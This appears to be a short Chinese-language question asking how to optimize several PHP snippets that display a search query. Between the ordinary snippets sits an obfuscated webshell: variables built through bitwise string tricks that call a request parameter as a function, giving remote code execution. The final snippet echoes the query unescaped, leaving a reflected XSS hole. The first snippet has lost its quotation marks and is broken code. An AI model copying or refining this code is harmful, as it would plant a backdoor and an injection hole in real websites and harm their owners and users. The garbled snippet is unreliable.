这段代码可以怎样优化?
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<?php
if (isset($_GET[query]))
{
echo <p>Search results for query: ,
htmlspecialchars($_GET[query], ENT_QUOTES), .</p>;
}
?>
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
<?php
$str=isset($_GET['query'])?ltrim($_GET['query']):'';
if($str and isset($str['1'])){
echo '<p> Search results for query : '.filter_var($str,FILTER_SANITIZE_SPECIAL_CHARS).'</p>';
}
?>
<?
if(!isset( $_GET['query'] ))
{
$_GET['query'] = 'Not find!';
}
echo('<p>Search results for query:' . $_GET['query'] . '.</p>');
?>